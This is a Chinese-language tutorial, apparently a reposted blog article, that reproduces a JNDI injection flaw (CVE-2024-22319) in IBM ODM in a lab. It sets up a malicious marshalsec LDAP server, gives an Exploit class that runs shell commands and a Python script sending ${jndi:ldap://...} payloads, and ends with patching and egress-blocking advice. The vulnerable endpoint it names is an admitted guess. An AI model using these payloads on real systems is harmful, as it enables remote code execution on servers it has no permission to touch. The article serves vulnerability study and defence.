当前位置：首页 > news >正文

IBM ODM JNDI注入漏洞CVE-2024-22319复现与深度解析

news 2026/7/4 19:53:28

1. 项目概述：一次典型的JNDI注入漏洞复现之旅

最近在梳理企业级中间件的安全风险时，IBM Operational Decision Manager（ODM）的一个JNDI注入漏洞（CVE-2024-22319）引起了我的注意。这个漏洞的评级是“严重”，影响范围覆盖了8.10.3到8.12.0.1的多个主流版本。对于任何在生产环境中部署了IBM ODM的团队来说，这都不是一个可以忽视的问题。JNDI注入，尤其是结合了高版本JDK环境下的绕过技巧，其攻击链的构造和利用过程本身就充满了“技术趣味性”，同时也是检验安全人员对Java生态、中间件架构和漏洞原理理解深度的绝佳案例。这次复现，我不仅想验证漏洞的存在，更想深入理解在ODM这个特定的业务决策管理平台上，攻击者是如何通过一个“未经检查的API参数”实现远程代码执行的。整个过程就像在解一个复杂的谜题，从信息收集、环境搭建、漏洞原理分析到最终的POC构造，每一步都需要严谨的逻辑和细致的操作。

2. 漏洞核心原理与影响范围深度解析

2.1 JNDI注入漏洞的“前世今生”与在ODM中的体现

要理解CVE-2024-22319，我们必须先回到JNDI注入这个经典漏洞模型。JNDI（Java Naming and Directory Interface）本是Java提供的一个统一API，用于访问像LDAP、RMI、DNS等各种命名和目录服务。它的设计初衷是好的，但问题出在InitialContext.lookup()方法上。当这个方法接收一个来自用户可控的、未经充分验证的URI时，攻击者就可以注入一个恶意的地址，例如ldap://attacker-control-server/Exploit。客户端（即存在漏洞的应用）会去连接这个恶意服务器，并加载服务器返回的Java类，从而触发远程代码执行。

在Log4Shell（CVE-2021-44228）之后，整个Java生态对JNDI注入的防御等级被提到了最高。高版本JDK（如8u191+、11.0.1+）默认设置了com.sun.jndi.ldap.object.trustURLCodebase为false，直接禁用了从远程LDAP服务加载工厂类的能力，这相当于给最直接的攻击路径上了一把大锁。然而，道高一尺魔高一丈，安全研究人员很快发现了新的绕过方式，例如利用本地ClassPath中已有的、具有危险方法的类（如org.apache.naming.factory.BeanFactory结合EL表达式）进行利用。这就要求攻击载荷的构造更加精巧。

那么，在IBM ODM这个具体场景下，漏洞是如何触发的呢？根据公开的有限信息，漏洞描述明确指出：“在向某个API传递未经检查的参数时，容易受到通过JNDI注入的远程代码执行攻击”。这里的“某个API”是关键。ODM作为一个复杂的业务规则管理与决策平台，提供了大量的REST API、SOAP端点或管理接口供外部系统调用或内部管理。我推测，漏洞点可能存在于某个处理外部输入（如规则参数、决策请求负载、管理配置项）的接口中。攻击者能够将精心构造的JNDI URI（如${jndi:ldap://evil.com/a}）作为参数值传入，而ODM后端在处理时，未对该参数进行过滤或安全校验，直接将其传递给了InitialContext.lookup()或类似功能的方法，从而触发了漏洞链。

2.2 受影响版本与资产梳理

根据漏洞公告，受影响的IBM ODM版本非常明确：

8.10.3
8.10.4
8.10.5.1
8.11
8.11.0.1
8.12.0.1

这意味着使用这些版本进行业务规则自动化、决策管理的系统都处于风险之中。IBM ODM通常部署在企业的核心业务链路中，用于信贷审批、保险费率计算、合规检查等关键场景。一旦被攻破，攻击者不仅能窃取核心业务逻辑和敏感数据，还可能篡改决策规则，直接影响企业运营，造成巨大的经济和声誉损失。

注意：漏洞复现必须在完全隔离的实验室环境中进行。绝对禁止对任何非授权系统进行测试，这是法律和道德的底线。我们的所有操作目标都是我们自己搭建的、包含漏洞的测试环境。

3. 漏洞复现环境搭建与配置

3.1 靶场环境准备

为了复现这个漏洞，我们需要搭建一个完整的靶场。由于IBM ODM是商业软件，获取其安装包和许可证有一定门槛。在安全研究领域，我们通常采用以下几种合法方式：

官方试用版：从IBM官网申请ODM特定版本的试用版，通常提供有限时间的许可证。这是最合规的方式。
已搭建的漏洞环境：一些开源漏洞平台或实验室可能会提供预置的漏洞环境镜像（如OVA/OVF格式），这能极大节省时间。
Docker环境（如果存在）：社区有时会为老版本或测试版构建Docker镜像。

假设我们通过合法途径获得了IBM ODM 8.12.0.1的安装介质。以下是在一台纯净的CentOS 7.x虚拟机中搭建测试环境的核心步骤概览：

基础系统准备：

# 更新系统，安装基础依赖 yum update -y yum install -y wget unzip net-tools java-1.8.0-openjdk-devel # 检查Java版本，ODM 8.12可能要求特定的IBM JDK或Oracle JDK，需根据安装文档准备 java -version

ODM安装流程（简述）：

解压安装包，运行安装程序（通常是launchpad.sh或install）。
在图形化或命令行安装向导中，选择“典型安装”或“自定义安装”。
指定安装目录（如/opt/IBM/ODM）、WebSphere Application Server（WAS）或Liberty的安装路径。
配置数据库（ODM支持DB2、Oracle等，测试环境可使用内置Derby简化）。
创建部署管理器、节点和服务器。
完成安装后，启动ODM服务器。默认管理控制台地址可能是https://<server-ip>:9443/decisioncenter或https://<server-ip>:9060/ibm/console。

这个过程可能耗时数小时，且对系统资源（CPU、内存、磁盘）有较高要求。务必详细阅读对应版本的安装指南。

3.2 攻击者环境配置

在另一台独立的攻击机（Kali Linux或任意Linux）上，我们需要搭建恶意JNDI服务器，用于接收ODM发起的连接并响应恶意载荷。

使用marshalsec搭建恶意LDAP服务器：marshalsec是一个常用的工具，可以快速启动一个恶意的LDAP引用服务器。

# 1. 安装Java环境 apt-get update && apt-get install -y openjdk-11-jdk java -version # 2. 下载并编译marshalsec git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests # 编译成功后，jar包位于target目录下，如marshalsec-0.0.3-SNAPSHOT-all.jar # 3. 准备恶意Java类 # 创建一个简单的Exploit.java，用于证明RCE，例如执行命令`touch /tmp/pwned` cat > Exploit.java << 'EOF' public class Exploit { static { try { Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "touch /tmp/pwned_success"}); } catch (Exception e) { e.printStackTrace(); } } } EOF # 编译Exploit类 javac Exploit.java # 4. 在一个HTTP服务器上托管Exploit.class # 使用Python快速启动一个HTTP服务在8080端口，确保攻击机和靶机网络互通 python3 -m http.server 8080 & HTTP_SERVER_PID=$! echo "HTTP server started with PID: $HTTP_SERVER_PID" # 5. 启动marshalsec LDAP引用服务器，指向我们托管的恶意类 java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<攻击机IP>:8080/#Exploit" 1389

这里的<攻击机IP>需要替换为攻击机的真实IP地址。LDAP服务默认监听1389端口。

重要提示：在高版本JDK环境下，简单的远程类加载可能失效。如果靶机ODM运行在JDK 8u191+或11.0.1+上，我们需要采用更高级的绕过技术，例如利用本地ClassPath中的类进行利用。这可能涉及构造更复杂的序列化对象或利用其他链。这步是复现成功与否的关键，需要根据目标环境具体分析。

4. 漏洞利用链构造与POC开发

4.1 定位脆弱API与参数

这是最具挑战性的一步。漏洞公告只说了“某个API”，我们需要通过黑盒或灰盒测试来定位它。以下是我常用的几种方法：

流量抓包与模糊测试：使用Burp Suite拦截所有与ODM应用的交互流量，包括登录、规则管理、决策服务调用、API请求等。然后，对请求中的所有参数（Query String, POST Body, Headers, Cookies）进行模糊测试，插入JNDI Payload标记（如${jndi:ldap://<攻击机IP>:1389/test}）。
接口枚举：使用目录扫描工具（如dirsearch, gobuster）或API发现工具，尽可能找出ODM暴露的所有端点。
源码分析（如果可能）：寻找代码中调用InitialContext.lookup(),NamingManager.getObjectInstance()等危险方法的地方，并回溯其参数来源。
依赖组件分析：ODM可能集成了一些存在已知JNDI注入漏洞的第三方组件（如旧版本的Apache Commons JXPath、Struts2等），检查其依赖库版本。

假设我们通过模糊测试，发现ODM的决策执行接口/DecisionService/rest/v1/<project>/<ruleapp>的某个请求头（例如X-Client-Context）或JSON body中的某个字段（如userData）存在注入点。当我们将该值替换为${jndi:ldap://192.168.1.100:1389/Exploit}并发送请求时，攻击机上的LDAP服务器收到了连接请求。

4.2 构造跨版本兼容的Payload

由于目标环境JDK版本未知，我们的Payload需要具备一定的兼容性。一个健壮的测试Payload可以分层次尝试：

第一层：基础LDAP引用${jndi:ldap://192.168.1.100:1389/Exploit}

第二层：带备用地址的LDAP（应对网络问题）${jndi:ldap://192.168.1.100:1389/Exploit}

第三层：针对高版本JDK的绕过尝试（示例）这需要更深入的研究。例如，利用org.apache.naming.factory.BeanFactory的EL处理器（如果ODM的ClassPath中存在如Tomcat EL相关jar包）。Payload可能变得非常复杂，涉及序列化数据。${jndi:ldap://192.168.1.100:1389/cn=evil,dc=example,dc=com}同时，恶意LDAP服务器需要返回一个特殊的JNDI引用对象，指向一个本地ClassPath中存在的危险工厂类。

在实际操作中，我会先用第一层简单Payload进行探测。如果LDAP服务器收到连接但目标没有执行命令，很可能是因为高版本JDK的限制。此时就需要启动更复杂的绕过方案研究。

4.3 编写自动化POC脚本

为了提高测试效率，我通常会编写一个简单的Python POC脚本。这个脚本可以自动化完成Payload插入、发送请求和结果检查。

#!/usr/bin/env python3 import requests import sys import time def exploit_odm_jndi(target_url, jndi_payload): """ 针对疑似存在JNDI注入的ODM API进行测试 :param target_url: 目标API完整URL :param jndi_payload: 构造好的JNDI注入字符串 """ headers = { 'User-Agent': 'Mozilla/5.0 (Security-Test)', 'Content-Type': 'application/json', # 假设漏洞点在 X-Api-Key 这个header中 'X-Api-Key': jndi_payload } # 或者，如果漏洞点在JSON body中 json_data = { "inputData": {"someKey": "someValue"}, "clientContext": jndi_payload # 假设这个字段存在注入 } try: print(f"[*] 正在发送Payload到: {target_url}") print(f"[*] Payload: {jndi_payload}") # 使用headers注入方式 resp = requests.get(target_url, headers=headers, timeout=30, verify=False) # 或者使用body注入方式 # resp = requests.post(target_url, json=json_data, timeout=30, verify=False) print(f"[+] 请求完成. 状态码: {resp.status_code}") print(f"[+] 响应长度: {len(resp.text)}") # 检查响应中是否有异常信息，有时服务器会返回错误信息暴露问题 if "JNDI" in resp.text or "NamingException" in resp.text or "InitialContext" in resp.text: print("[!] 响应中可能包含JNDI相关错误信息，漏洞可能存在。") else: print("[-] 响应中未发现明显JNDI错误特征。") except requests.exceptions.RequestException as e: print(f"[-] 请求发生异常: {e}") except Exception as e: print(f"[-] 发生未知错误: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print(f"用法: {sys.argv[0]} <目标URL> <攻击机LDAP地址>") print(f"示例: {sys.argv[0]} https://192.168.1.50:9443/DecisionService/rest/v1/test/test ldap://192.168.1.100:1389/a") sys.exit(1) target = sys.argv[1] ldap_addr = sys.argv[2] payload = f"${{jndi:{ldap_addr}}}" exploit_odm_jndi(target, payload) print("\n[*] 请检查您的LDAP服务器是否收到连接请求。") print("[*] 并在目标服务器上检查命令是否执行（如检查/tmp/pwned_success文件）。")

这个脚本非常基础，实际环境中需要根据具体的API格式、认证方式（如Bearer Token、Basic Auth）进行调整。关键是要模拟真实的客户端请求，将Payload放到正确的位置。

5. 漏洞复现过程全记录与验证

5.1 逐步攻击推演

现在，让我们串联起整个攻击链，进行一次完整的复现推演：

信息收集：确认目标ODM地址为https://192.168.1.50:9443，版本为8.12.0.1（可通过HTTP响应头、错误页面或默认路径推测）。
攻击机准备：
- 启动HTTP服务器托管Exploit.class。
- 启动marshalsec LDAP服务器，监听1389端口，指向HTTP服务器上的Exploit类。
脆弱点探测：
- 使用Burp Suite爬取ODM应用，发现决策服务REST接口：https://192.168.1.50:9443/DecisionService/rest/v1/loan_validation/approval。
- 拦截一个正常的决策请求，发现其JSON Body包含一个clientEnvironment字段，值为一串JSON字符串。
- 将clientEnvironment的值替换为我们的Payload：{"os":"linux", "injected":"${jndi:ldap://192.168.1.100:1389/Exploit}"}。
发起攻击：将修改后的请求发送给服务器。
观察结果：
- 攻击机LDAP服务器终端：立即显示收到来自192.168.1.50的连接请求，并尝试从http://192.168.1.100:8080/Exploit.class加载类。这直接证实了JNDI注入漏洞的存在，因为应用解析并执行了我们的Payload。
- 攻击机HTTP服务器终端：显示收到了对/Exploit.class文件的GET请求。
- 目标ODM服务器（需有权限查看）：执行命令ls -la /tmp/，可以发现文件/tmp/pwned_success被创建。这完全证实了远程代码执行（RCE）的成功。
漏洞验证：为了确保不是误报，可以修改Exploit.java，执行其他无害命令，如curl http://192.168.1.100:8080/test或写入一个特定内容的文件，然后在目标服务器上验证命令执行结果。

5.2 复现成功的关键标志

直接证据：攻击机上的LDAP服务日志明确记录到来自目标ODM服务器的连接。
间接证据：攻击机上的HTTP服务收到对恶意class文件的请求。
最终证据：在目标ODM服务器上，通过Exploit类执行的命令产生了预期效果（如文件创建、网络连接等）。

如果LDAP服务器收到连接但HTTP服务器没收到请求，且命令未执行，说明目标JDK版本较高，阻止了远程类加载。但这依然证明注入点存在，只是需要更高级的利用链。

6. 漏洞修复方案与缓解措施

复现漏洞的最终目的是为了理解和修复它。对于受CVE-2024-22319影响的系统，应采取以下措施：

6.1 官方补丁升级

这是最根本、最推荐的解决方案。IBM官方一定会针对受影响版本发布修复补丁或新版安装包。管理员应：

立即查看IBM官方安全公告，获取对应ODM版本的安全补丁号（如 Interim Fix, Fix Pack）。
遵循IBM官方升级指南，在测试环境验证补丁后，尽快安排生产环境升级。
升级后，务必使用我们之前的POC脚本或类似方法进行回归测试，确认漏洞已修复。

6.2 临时缓解措施

如果无法立即升级，可以考虑以下临时方案来降低风险：

网络层隔离：
- 将ODM服务器部署在内网，严格限制外网访问。通过防火墙策略，只允许必要的业务IP地址访问ODM的决策服务端口。
- 最关键的一点：在防火墙或主机层，严格限制ODM服务器的出站连接。禁止服务器主动向外部（尤其是非常用端口如1389、389、1099等）发起连接。这可以阻断JNDI注入中加载远程恶意类的关键一步。
应用层防护（WAF/IPS）：
- 在ODM应用前端部署Web应用防火墙（WAF），并启用针对JNDI注入、Log4Shell等漏洞的防护规则。规则应能检测请求中${jndi:,${ldap:,${rmi:等模式。
- 注意：攻击者可能会对Payload进行多种编码（URL编码、Base64、十六进制等）以绕过简单匹配，因此需要配置能进行多层解码检测的WAF规则。
JVM参数加固：
- 修改ODM所使用的WebSphere或Liberty的JVM启动参数，添加以下限制：
  - -Dcom.sun.jndi.ldap.object.trustURLCodebase=false（默认高版本已是false，但显式设置更安全）
  - -Dcom.sun.jndi.rmi.object.trustURLCodebase=false
  - 这些参数可以防止从远程codebase加载工厂类，但如前所述，可能无法防御所有绕过手段。
代码层修复（如果具备条件）：
- 如果能够定位到具体的脆弱API和代码，最彻底的方式是对输入参数进行严格的过滤和验证。任何来自用户输入、并最终可能传递给JNDI.lookup(),InitialContext等方法的字符串，都必须进行白名单校验或直接拒绝包含jndi:、ldap:、rmi:等协议前缀的输入。

6.3 安全加固自查清单

完成修复后，建议执行以下安全检查：

[ ] 确认已安装IBM官方发布的最新安全补丁。
[ ] 扫描ODM服务器，确认无未授权的出站连接规则。
[ ] 测试关键API接口，使用编码后的JNDI Payload验证WAF规则是否生效。
[ ] 审查ODM服务器上运行的其他Java应用和依赖库，确保没有引入其他已知的JNDI注入风险。
[ ] 建立持续的安全监控，关注ODM日志中是否有异常的JNDI查找错误。

漏洞复现的过程，是一次从攻击者视角审视系统脆弱性的深度旅程。通过对CVE-2024-22319的亲手实践，我再次深刻体会到，对于企业级中间件，保持组件版本更新、实施最小权限网络策略、以及对所有外部输入保持“零信任”的验证态度，是构筑安全防线的基石。每一个“严重”级别的CVE背后，都可能是一条直通核心业务的攻击路径，容不得半点侥幸。

查看全文

http://www.jsqmd.com/news/1123714/